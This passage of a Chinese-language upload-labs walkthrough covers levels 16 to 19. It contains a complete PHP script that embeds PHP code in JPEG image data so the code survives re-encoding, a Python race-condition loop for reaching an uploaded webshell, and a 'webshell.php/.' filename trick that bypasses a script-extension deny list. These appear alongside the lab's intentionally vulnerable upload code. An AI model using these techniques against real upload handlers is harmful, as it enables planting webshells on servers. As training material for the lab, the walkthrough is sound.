1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 <?php $miniPayload = "<?=phpinfo();?>" ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } } ?>
运行脚本命令:
Pass-17 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ $ext_arr = array ('jpg' ,'png' ,'gif' ); $file_name = $_FILES ['upload_file' ]['name' ]; $temp_file = $_FILES ['upload_file' ]['tmp_name' ]; $file_ext = substr ($file_name ,strrpos ($file_name ,"." )+1 ); $upload_file = $UPLOAD_ADDR . '/' . $file_name ; if (move_uploaded_file ($temp_file , $upload_file )){ if (in_array ($file_ext ,$ext_arr )){ $img_path = $UPLOAD_ADDR . '/' . rand (10 , 99 ).date ("YmdHis" )."." .$file_ext ; rename ($upload_file , $img_path ); unlink ($upload_file ); $is_upload = true ; }else { $msg = "只允许上传.jpg|.png|.gif类型文件!" ; unlink ($upload_file ); } }else { $msg = '上传失败!' ; } }
方法一 这种过滤方法是条件筛选,先上传文件,如果不符合格式再将文件删除。所以可以在文件没被删除时访问即可,利用这个时间差执行,但是时间差很短,所以我们可以直接使用脚本访问。
1 2 3 4 5 6 7 import requests url = "http://192.168.31.88/upload-labs/upload/webshell.jpg" while True: html = requests.get (url) if html.status_code == 200 : print ("OK" ) break
方法二 将上传页面和文件包含触发漏洞页面发送到Burp的intruder,然后payload设置为null,即可触发条件竞争漏洞
Pass-18 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])){ require_once ("./myupload.php" ); $imgFileName =time (); $u = new MyUpload ($_FILES ['upload_file' ]['name' ], $_FILES ['upload_file' ]['tmp_name' ], $_FILES ['upload_file' ]['size' ],$imgFileName ); $status_code = $u ->upload ($UPLOAD_ADDR ); switch ($status_code ) { case 1 : $is_upload = true ; $img_path = $u ->cls_upload_dir . $u ->cls_file_rename_to; break ; case 2 : $msg = '文件已经被上传,但没有重命名。' ; break ; case -1 : $msg = '这个文件不能上传到服务器的临时文件存储目录。' ; break ; case -2 : $msg = '上传失败,上传目录不可写。' ; break ; case -3 : $msg = '上传失败,无法上传该类型文件。' ; break ; case -4 : $msg = '上传失败,上传的文件过大。' ; break ; case -5 : $msg = '上传失败,服务器已经存在相同名称文件。' ; break ; case -6 : $msg = '文件无法上传,文件不能复制到目标目录。' ; break ; default : $msg = '未知错误!' ; break ; } } class MyUpload {...... ...... ...... var $cls_arr_ext_accepted = array ( ".doc" , ".xls" , ".txt" , ".pdf" , ".gif" , ".jpg" , ".zip" , ".rar" , ".7z" ,".ppt" , ".html" , ".xml" , ".tiff" , ".jpeg" , ".png" ); ...... ...... ...... function upload ( $dir ) { $ret = $this ->isUploadedFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->setDir ( $dir ); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkExtension (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } $ret = $this ->checkSize (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_file_exists == 1 ){ $ret = $this ->checkFileExists (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } $ret = $this ->move (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } if ( $this ->cls_rename_file == 1 ){ $ret = $this ->renameFile (); if ( $ret != 1 ){ return $this ->resultUpload ( $ret ); } } return $this ->resultUpload ( "SUCCESS" ); } ...... ...... ...... };
方法一 直接上传图片马即可,可以在返回页面中得到图片名称
Pass-19 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $is_upload = false ;$msg = null ;if (isset ($_POST ['submit' ])) { if (file_exists ($UPLOAD_ADDR )) { $deny_ext = array ("php" ,"php5" ,"php4" ,"php3" ,"php2" ,"html" ,"htm" ,"phtml" ,"pht" ,"jsp" ,"jspa" ,"jspx" ,"jsw" ,"jsv" ,"jspf" ,"jtml" ,"asp" ,"aspx" ,"asa" ,"asax" ,"ascx" ,"ashx" ,"asmx" ,"cer" ,"swf" ,"htaccess" ); $file_name = $_POST ['save_name' ]; $file_ext = pathinfo ($file_name ,PATHINFO_EXTENSION); if (!in_array ($file_ext ,$deny_ext )) { $img_path = $UPLOAD_ADDR . '/' .$file_name ; if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $img_path )) { $is_upload = true ; }else { $msg = '上传失败!' ; } }else { $msg = '禁止保存为该类型文件!' ; } } else { $msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!' ; } }
解法 move_uploaded_file
这个函数会忽略/
,因此可以修改上传的文件名为:webshell.php/.
即可成功上传,测试连接成功。